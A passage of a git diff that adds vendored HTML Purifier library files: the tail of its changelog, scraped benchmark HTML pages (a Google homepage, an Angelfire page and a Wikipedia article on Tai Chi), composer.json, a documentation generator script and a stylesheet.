        now has + both span tags closed. +- Various HTMLPurifier_Config convenience functions now accept another parameter + $schema which defines what HTMLPurifier_ConfigSchema to use besides the + global default. +- Fix bug with trusted script handling in libxml versions later than 2.6.28. +- Fix bug in ExtractStyleBlocks with comments in style tags +- Fix bug in comment parsing for DirectLex +- Flush output now displayed when in command line mode for unit tester +- Fix bug with rgb(0, 1, 2) color syntax with spaces inside shorthand syntax +- HTMLPurifier_HTMLDefinition->addAttribute can now be called multiple times + on the same element without emitting errors. +- Fixed fatal error in PH5P lexer with invalid tag names +. Plugins now get their own changelogs according to project conventions. +. Convert tokens to use instanceof, reducing memory footprint and + improving comparison speed. +. Dry runs now supported in SimpleTest; testing facilities improved +. Bootstrap class added for handling autoloading functionality +. Implemented recursive glob at FSTools->globr +. ConfigSchema now has instance methods for all corresponding define* + static methods. +. A couple of new historical maintenance scripts were added. +. HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php split into two files +. tests/index.php can now be run from any directory. +. HTMLPurifier_Token subclasses split into seperate files +. HTMLPURIFIER_PREFIX now is defined in Bootstrap.php, NOT HTMLPurifier.php +. HTMLPURIFIER_PREFIX can now be defined outside of HTML Purifier +. New --php=php flag added, allows PHP executable to be specified (command + line only!) +. htmlpurifier_add_test() preferred method to translate test files in to + classes, because it handles PHPT files too. +. Debugger class is deprecated and will be removed soon. +. Command line argument parsing for testing scripts revamped, now --opt value + format is supported. +. Smoketests now cleanup after magic quotes +. Generator now can output comments (however, comments are still stripped + from HTML Purifier output) +. HTMLPurifier_ConfigSchema->validate() deprecated in favor of + HTMLPurifier_VarParser->parse() +. Integers auto-cast into float type by VarParser. +. HTMLPURIFIER_STRICT removed; no validation is performed on runtime, only + during cache generation +. Reordered script calls in maintenance/flush.php +. Command line scripts now honor exit codes +. When --flush fails in unit testers, abort tests and print message +. Improved documentation in docs/dev-flush.html about the maintenance scripts +. copy() methods removed in favor of clone keyword + +3.0.0, released 2008-01-06 +# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained + until PHP 4 is completely deprecated, but no new features will be added + to it. + + Visibility declarations added + + Constructor methods renamed to __construct() + + PHP4 reference cruft removed (in progress) +! CSS properties are now case-insensitive +! DefinitionCacheFactory now can register new implementations +! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting + +
        edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
        Google

        +
        Web    Images    Groups    News    Froogle    Local    more »
         
          Advanced Search
          Preferences
          Language Tools


        Advertising Programs - Business Solutions - About Google

        ©2006 Google

        + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html new file mode 100644 index 00000000..9e9f1a36 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html @@ -0,0 +1,131 @@ + + +Anime Digi-Lib Index + + + +
        + +
        + + + + + + + + + + + + + + + + « + + Previous | + Top 100 | + Next + + + » + + + + +
        + + + + + + + + + + +
         Search:The WebAngelfire    Planet
        +
        + Edit your Site show site directoryBrowse Sites hosted by angelfire
          + Vonagehosted by angelfire
        +
        +
        + + +
        + + + +
        + + + + + +
        +

        May 1, 2000

        +

        Pop Culture

        +

        by. H. Finkelstein

        + +
        +

        Welcome to the Anime Digi-Lib, a virtual index to anime on the + internet. This site strives to house a comprehensive index to both personal + and commercial websites and provides reviews to these sites. We hope to + be a gateway for people who've never imagined they'd ever be interested + in Japanese Animation.

        + + + + + + +
        +

         

        +

         

        + +
        + + + + + + + + + + + + + + + + +
        Search term:
        Case-sensitive - +yes
        exactfuzzy
        +
        + + +
        + + + + + +
        What is better, subtitled or dubbed anime?
        Subtitled
        Current results
        Free + Web Polls
        + +
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html new file mode 100644 index 00000000..27cea255 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html @@ -0,0 +1,543 @@ + + + + + + + + Tai Chi Chuan - Wikipedia, the free encyclopedia + + + + + + + + + + + + + + + + + +
        +
        +
        + + +
        Registration for Wikimania 2006 is open.   
        +

        Tai Chi Chuan

        +
        +

        From Wikipedia, the free encyclopedia

        + +
        +
        Jump to: navigation, search
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        ???
        + +
        +
        +
        Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 +
        +
        Enlarge
        +Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
        +
        +
        +
        +
        Chinese Name
        Hanyu PinyinTijqun
        Wade-GilesT'ai4 Chi2 Ch'an2
        Simplified Chinese???
        Traditional Chinese???
        Cantonesetaai3 gik6 kyun4
        Japanese Hiragana???????
        Korean???
        VietnameseThi C?c Quy?n
        +

        Tai Chi Chuan, T'ai Chi Ch'an or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tijqun; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'an, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'an is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

        + +

        Variations of T'ai Chi Ch'an's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

        + + + + +
        +
        +

        Contents

        +
        + +
        +

        + + +

        +

        Overview

        +

        Historically, T'ai Chi Ch'an has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

        +

        T'ai Chi Ch'an as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

        + +

        The study of T'ai Chi Ch'an involves three primary subjects:

        +
          +
        • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
        • +
        • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
        • +
        • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'an.
        • + +
        +

        In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

        +

        The Mandarin term "T'ai Chi Ch'an" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'an is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

        +

        Teachers say the study of T'ai Chi Ch'an is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

        + +

        Wu Chien-ch'an, co-founder of the Wu family style, described the name T'ai Chi Ch'an this way at the beginning of the 20th century:

        +
        +
        "Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
        + +
        Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
        +
        + +

        + +

        Training and techniques

        +
        +
        The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) +
        +
        Enlarge
        +The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
        +
        +
        +

        As the name T'ai Chi Ch'an is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tijt), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'an techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

        + +

        The core training involves two primary features: the first being the solo form or ch'an, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

        +

        The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

        +

        In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'an training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

        + +

        Other training exercises include:

        +
          +
        • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jin ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
        • + +
        • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
        • +
        • Breathing exercises; nei kung (?? nigong) or, more commonly, ch'i kung (?? qgong) to develop ch'i (? q) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
        • + +
        +

        T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'an trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

        +
        +
        "I would rather maim than kill
        + +
        Hurt than maim
        +
        Intimidate than hurt
        +
        Avoid than intimidate."
        +
        +
        +
        An outdoor Chen style class in Beijing +
        +
        Enlarge
        +An outdoor Chen style class in Beijing
        +
        +
        + + +

        +

        Styles and history

        +

        There are five major styles of T'ai Chi Ch'an, each named after the Chinese family that teaches (or taught) it:

        + +

        The order of seniority is as listed above. The order of popularity is Yang, Wu, Chen, Sun, and Wu/Hao. The first five major family styles share much underlying theory, but differ in their approaches to training.

        +

        In the modern world there are now dozens of new styles, hybrid styles and offshoots of the main styles, but the five family schools are the groups recognised by the international community as being orthodox. For example, there are several groups teaching what they call Wu Tang style T'ai Chi Ch'an (??????). The best known modern style going by the name Wu Tang has gained some publicity internationally, especially in the UK and Europe, but was originally taught by a senior student of the Wu (?) style.

        + +

        The designation Wu Tang Ch'an is also used to broadly distinguish internal or nei chia martial arts (said to be a specialty of the monasteries at Wu Tang Shan) from what are known as the external or wei chia styles based on Shaolinquan kung fu, although that distinction is sometimes disputed by individual schools. In this broad sense, among many T'ai Chi schools all styles of T'ai Chi (as well as related arts such as Pa Kua Chang and Hsing-i Ch'an) are therefore considered to be "Wu Tang style" martial arts. The schools that designate themselves "Wu Tang style" relative to the family styles mentioned above mostly claim to teach an "original style" they say was formulated by a Taoist monk called Zhang Sanfeng and taught by him in the Taoist monasteries at Wu Tang Shan. Some consider that what is practised under that name today may be a modern back-formation based on stories and popular veneration of Zhang Sanfeng (see below) as well as the martial fame of the Wu Tang monastery (there are many other martial art styles historically associated with Wu Tang besides T'ai Chi).

        + +

        When tracing T'ai Chi Ch'an's formative influences to Taoist and Buddhist monasteries, one has little more to go on than legendary tales from a modern historical perspective, but T'ai Chi Ch'an's practical connection to and dependence upon the theories of Sung dynasty Neo-Confucianism (a conscious synthesis of Taoist, Buddhist and Confucian traditions, esp. the teachings of Mencius) is readily apparent to its practitioners. The philosophical and political landscape of that time in Chinese history is fairly well documented, even if the origin of the art later to become known as T'ai Chi Ch'an in it is not. T'ai Chi Ch'an's theories and practice are therefore believed by some schools to have been formulated by the Taoist monk Zhang Sanfeng in the 12th century, a time frame fitting well with when the principles of the Neo-Confucian school were making themselves felt in Chinese intellectual life. Therefore the didactic story is told that Zhang Sanfeng as a young man studied Tao Yin (??, Pinyin daoyin) breathing exercises from his Taoist teachers and martial arts at the Buddhist Shaolin monastery, eventually combining the martial forms and breathing exercises to formulate the soft or internal principles we associate with T'ai Chi Ch'an and related martial arts. Its subsequent fame attributed to his teaching, Wu Tang monastery was known thereafter as an important martial center for many centuries, its many styles of internal kung fu preserved and refined at various Taoist temples.

        + + +

        +

        Family tree

        +

        This family tree is not comprehensive.

        +
        +LEGENDARY FIGURES
        +   |
        +Zhang Sanfeng*
        +circa 12th century
        +NEI CHIA
        +
        +   |
        +Wang Zongyue*
        +T'AI CHI CH'AN
        +   |
        +THE 5 MAJOR CLASSICAL FAMILY STYLES
        +   |
        +Chen Wangting
        +1600-1680 9th generation Chen
        +CHEN STYLE
        +   |
        +   +-------------------------------------------------------------------+
        +   |                                                                   |
        +Chen Changxing                                                     Chen Youben
        +1771-1853 14th generation Chen                                     circa 1800s 14th generation Chen
        +Chen Old Frame                                                     Chen New Frame
        +   |                                                                   |
        +
        +Yang Lu-ch'an                                                      Chen Qingping
        +1799-1872                                                          1795-1868
        +YANG STYLE                                                         Chen Small Frame, Zhao Bao Frame
        +   |                                                                   |
        +   +---------------------------------+-----------------------------+   |
        +   |                                 |                             |   |
        +Yang Pan-hou                      Yang Chien-hou                   Wu Yu-hsiang
        +1837-1892                         1839-1917                        1812-1880
        +Yang Small Frame                     |                             WU/HAO STYLE
        +
        +   |                                 +-----------------+                      |
        +   |                                 |                 |                      |
        +Wu Ch'uan-y                      Yang Shao-hou     Yang Ch'eng-fu          Li I-y
        +1834-1902                         1862-1930         1883-1936               1832-1892
        +   |                              Yang Small Frame  Yang Big Frame            |
        +Wu Chien-ch'an                                        |                    Hao Wei-chen
        +
        +1870-1942                                           Yang Shou-chung         1849-1920
        +WU STYLE                                            1910-1985                 |
        +108 Form                                                                      |
        +   |                                                                        Sun Lu-t'ang
        +Wu Kung-i                                                                   1861-1932
        +1900-1970                                                                   SUN STYLE
        +
        +   |                                                                          |
        +Wu Ta-kuei                                                                  Sun Hsing-i
        +1923-1970                                                                   1891-1929
        +
        +MODERN FORMS
        +
        +from Yang Ch`eng-fu
        +        |
        +        |
        +        |
        +        +--------------+
        +        |              |
        +  Cheng Man-ch'ing     |
        +  1901-1975            |
        +  Short (37) Form      |
        +                       |
        +              Chinese Sports Commission
        +              1956
        +              Beijing 24 Form
        +              .
        +              .
        +              1989
        +              42 Competition Form
        +
        +              (Wushu competition form combined from Sun, Wu, Chen, and Yang styles)
        +
        + +

        +

        Notes to Family tree table

        +

        Names denoted by an asterisk are legendary or semilegendary figures in the lineage, which means their involvement in the lineage, while accepted by most of the major schools, isn't independently verifiable from known historical records.

        +

        The Cheng Man-ch'ing and Chinese Sports Commission short forms are said to be derived from Yang family forms, but neither are recognized as Yang family T'ai Chi Ch'an by current Yang family teachers. The Chen, Yang and Wu families are now promoting their own shortened demonstration forms for competitive purposes.

        + + +

        +

        Modern T'ai Chi

        +
        +
        Yang style in Shanghai +
        +
        Enlarge
        +Yang style in Shanghai
        +
        +
        +

        T'ai Chi has become very popular in the last twenty years or so, as the baby boomers age and T'ai Chi's reputation for ameliorating the effects of aging becomes more well-known. Hospitals, clinics, community and senior centers are all hosting T'ai Chi classes in communities around the world. As a result of this popularity, there has been some divergence between those who say they practice T'ai Chi primarily for fighting, those who practice it for its aesthetic appeal (as in the shortened, modern, theatrical "Taijiquan" forms of wushu, see below), and those who are more interested in its benefits to physical and mental health. The wushu aspect is primarily for show; the forms taught for those purposes are designed to earn points in competition and are mostly unconcerned with either health maintenance or martial ability. More traditional stylists still see the two aspects of health and martial arts as equally necessary pieces of the puzzle, the yin and yang of T'ai Chi Ch'an. The T'ai Chi "family" schools therefore still present their teachings in a martial art context even though the majority of their students nowadays profess that they are primarily interested in training for the claimed health benefits.

        + +

        Along with Yoga, it is one of the fastest growing fitness and health maintenance activities, in terms of numbers of students enrolling in classes. Since there is no universal certification process and most Westerners haven't seen very much T'ai Chi and don't know what to look for, practically anyone can learn or even make up a few moves and call themselves a teacher. This is especially prevalent in the New Age community. Relatively few of these teachers even know that there are martial applications to the T'ai Chi forms. Those who do know that it is a martial art usually don't teach martially themselves. If they do teach self-defense, it is often a mixture of motions which the teachers think look like T'ai Chi Ch'an with some other system. This is especially evident in schools located outside of China. While this phenomenon may have made some external aspects of T'ai Chi available for a wider audience, the traditional T'ai Chi family schools see the martial focus as a fundamental part of their training, both for health and self-defense purposes. They claim that while the students may not need to practice martial applications themselves to derive a benefit from T'ai Chi training, they assert that T'ai Chi teachers at least should know the martial applications to ensure that the movements they teach are done correctly and safely by their students. Also, working on the ability to protect oneself from physical attack (one of the most stressful things that can happen to a person) certainly falls under the category of complete "health maintenance." For these reasons they claim that a school not teaching those aspects somewhere in their syllabus cannot be said to be actually teaching the art itself, and will be much less likely to be able to reproduce the full health benefits that made T'ai Chi's reputation in the first place.

        + +

        +

        Modern forms

        + +
        +
        Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA). +
        +
        Enlarge
        +Women practicing non-martial T'ai Chi in Chinatown (New York City, New York, USA).
        +
        +
        + +

        In order to standardize T'ai Chi Ch'an for wushu tournament judging, and because many of the family T'ai Chi Ch'an teachers had either moved out of China or had been forced to stop teaching after the Communist regime was established in 1949, the government sponsored Chinese Sports Committee brought together four of their wushu teachers to truncate the Yang family hand form to 24 postures in 1956. They wanted to somehow retain the look of T'ai Chi Ch'an but make an easy to remember routine that was less difficult to teach and much less difficult to learn than longer (generally 88 to 108 posture) classical solo hand forms. In 1976, they developed a slightly longer form also for the purposes of demonstration that still didn't involve the complete memory, balance and coordination requirements of the traditional forms. This was a combination form, the Combined 48 Forms that were created by three wushu coaches headed by Professor Men Hui Feng. The combined forms were created based on simplifying and combining some features of the classical forms from four of the original styles; Ch'en, Yang, Wu, and Sun. Even though shorter modern forms don't have the conditioning benefits of the classical forms, the idea was to take what they felt were distinctive cosmetic features of these styles and to express them in a shorter time for purposes of competition.

        + +

        As T'ai Chi again became popular on the Mainland, competitive forms were developed to be completed within a 6 minute time limit. In the late 1980s, the Chinese Sports Committee standardized many different competition forms. It had developed sets said to represent the four major styles as well as combined forms. These five sets of forms were created by different teams, and later approved by a committee of wushu coaches in China. All sets of forms thus created were named after their style, e.g., the Ch'en Style National Competition Form is the 56 Forms, and so on. The combined forms are The 42 Form or simply the Competition Form, as it is known in China. In the 11th Asian Games of 1990, wushu was included as an item for competition for the first time with the 42 Form being chosen to represent T'ai Chi. The International Wushu Federation (IWUF) has applied for wushu to be part of the Olympic games. If accepted, it is likely that T'ai Chi and wushu will be represented as demonstration events in 2008.

        + +

        Representatives of the original T'ai Chi families do not teach the forms developed by the Chinese Sports Committee. T'ai Chi Ch'an has historically been seen by them as a martial art, not a sport, with competitions mostly entered as a hobby or to promote one's school publicly, but with little bearing on measuring actual accomplishment in the art. Their criticisms of modern forms include that the modern, "government" routines have no standardized, internally consistent training requirements. Also, that people studying competition forms rarely train pushing hands or other power generation trainings vital to learning the martial applications of T'ai Chi Ch'an and thereby lack the quality control traditional teachers maintain is essential for achieving the full benefits from both the health and the martial aspect of traditional T'ai Chi training.

        + +

        +

        Health benefits

        +

        Researchers have found that long-term T'ai Chi practice had favorable effects on the promotion of balance control, flexibility and cardiovascular fitness and reduced the risk of falls in elders. The studies also reported reduced pain, stress and anxiety in healthy subjects. Other studies have indicated improved cardiovascular and respiratory function in healthy subjects as well as those who had undergone coronary artery bypass surgery. Patients also benefited from T'ai Chi who suffered from heart failure, high blood pressure, heart attacks, arthritis and multiple sclerosis.

        +

        T'ai Chi has also been shown to reduce the symptoms of young Attention Deficit and Hyperactivity Disorder (ADHD) sufferers. T'ai Chi's gentle, low impact, movements surprisingly burn more calories than surfing and nearly as many as downhill skiing. T'ai Chi also boosts aspects of the immune system's function very significantly, and has been shown to reduce the incidence of anxiety, depression, and overall mood disturbance. (See research citations listed below.)

        + +

        A pilot study has found evidence that T'ai Chi and related qigong helps reduce the severity of diabetes.[1]

        + +

        +

        Citations to medical research

        +
          +
        • Wolf SL, Sattin RW, Kutner M. Intense T'ai Chi exercise training and fall occurrences in older, transitionally frail adults: a randomized, controlled trial. J Am Geriatr Soc. 2003 Dec; 51(12): 1693-701. PMID 14687346
        • +
        • Wang C, Collet JP, Lau J. The effect of Tai Chi on health outcomes in patients with chronic conditions: a systematic review. Arch Intern Med. 2004 Mar 8;164(5):493-501. PMID 15006825
        • + +
        • Search a listing of articles relating to the FICSIT trials and T'ai Chi [2]
        • +
        • Hernandez-Reif, M., Field, T.M., & Thimas, E. (2001). Attention deficit hyperactivity disorder: benefits from Tai Chi. Journal of Bodywork & Movement Therapies, 5(2):120-3, 2001 Apr, 5(23 ref), 120-123
        • +
        • Calorie Burning Chart [3]
        • +
        • Tai Chi boosts T-Cell counts in immune system [4]
        • +
        • Tai Chi, depression, anxiety, and mood disturbance (American Psychological Association) Journal of Psychosomatic Research, 1989 Vol 33 (2) 197-206
        • + +
        • A comprehensive listing of Tai Chi medical research links [5]
        • +
        • References to medical publications [6]
        • +
        • Tai Chi a promising remedy for diabetes, Australian Broadcasting Corporation, 20 December, 2005 - Pilot study of Qigong and tai chi in diabetes sufferers.
        • +
        • Health Research Articles on "Tai Chi as Health Therapy" for many issues, i.e. ADHD, Cardiac Health & Rehabilitation, Diabetes, High Blood Pressure, Menopause, Bone Loss, Weight Loss, etc.[7]
        • +
        + + +

        +

        See also

        + + +

        +

        External links

        + + + + + + + +
        +
        +
        +
        +
        +
        +
        Views
        + +
        +
        +
        Personal tools
        + +
        + + + + + + +
        +
        In other languages
        + +
        + +
        +
        + + +
        + + + + + diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt new file mode 100644 index 00000000..0c8ae5d9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/DISCLAIMER.txt @@ -0,0 +1,7 @@ +Disclaimer: + +The HTML used in these samples are taken from random websites. I claim +no copyright over these and assert that I may use them like this under +fair use. + + vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/composer.json b/php/yii2/basic/vendor/ezyang/htmlpurifier/composer.json new file mode 100644 index 00000000..2f59d0fe --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/composer.json @@ -0,0 +1,22 @@ +{ + "name": "ezyang/htmlpurifier", + "description": "Standards compliant HTML filter written in PHP", + "type": "library", + "keywords": ["html"], + "homepage": "http://htmlpurifier.org/", + "license": "LGPL", + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "require": { + "php": ">=5.2" + }, + "autoload": { + "psr-0": { "HTMLPurifier": "library/" }, + "files": ["library/HTMLPurifier.composer.php"] + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/generate.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/generate.php new file mode 100644 index 00000000..e0c4e674 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/generate.php @@ -0,0 +1,64 @@ + true +)); + +$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder(); +$interchange = new HTMLPurifier_ConfigSchema_Interchange(); +$builder->buildDir($interchange); +$loader = dirname(__FILE__) . '/../config-schema.php'; +if (file_exists($loader)) include $loader; +$interchange->validate(); + +$style = 'plain'; // use $_GET in the future, careful to validate! +$configdoc_xml = dirname(__FILE__) . '/configdoc.xml'; + +$xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); +$xml_builder->openURI($configdoc_xml); +$xml_builder->build($interchange); +unset($xml_builder); // free handle + +$xslt = new ConfigDoc_HTMLXSLTProcessor(); +$xslt->importStylesheet(dirname(__FILE__) . "/styles/$style.xsl"); +$output = $xslt->transformToHTML($configdoc_xml); + +if (!$output) { + echo "Error in generating files\n"; + exit(1); +} + +// write out +file_put_contents(dirname(__FILE__) . "/$style.html", $output); + +if (php_sapi_name() != 'cli') { + // output (instant feedback if it's a browser) + echo $output; +} else { + echo "Files generated successfully.\n"; +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css new file mode 100644 index 00000000..7af80d06 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/configdoc/styles/plain.css @@ -0,0 +1,44 @@ + +body {margin:0;padding:0;} +#content { + margin:1em auto; + max-width: 47em; + width: expression(document.body.clientWidth > + 85 * parseInt(document.body.currentStyle.fontSize) ? + "54em": "auto"); +} + +table {border-collapse:collapse;} +table td, table th {padding:0.2em;} + +table.constraints {margin:0 0 1em;} +table.constraints th { + text-align:right;padding-left:0.4em;padding-right:0.4em;background:#EEE; + width:8em;vertical-align:top;} +table.constraints td {padding-right:0.4em; padding-left: 1em;} +table.constraints td ul {padding:0; margin:0; list-style:none;} +table.constraints td pre {margin:0;} + +#tocContainer {position:relative;} +#toc {list-style-type:none; font-weight:bold; font-size:1em; margin-bottom:1em;} +#toc li {position:relative; line-height: 1.2em;} +#toc .col-2 {margin-left:50%;} +#toc .col-l {float:left;} +#toc ul {list-style-type:disc; font-weight:normal; padding-bottom:1.2em;} + +.description p {margin-top:0;margin-bottom:1em;} + +#library, h1 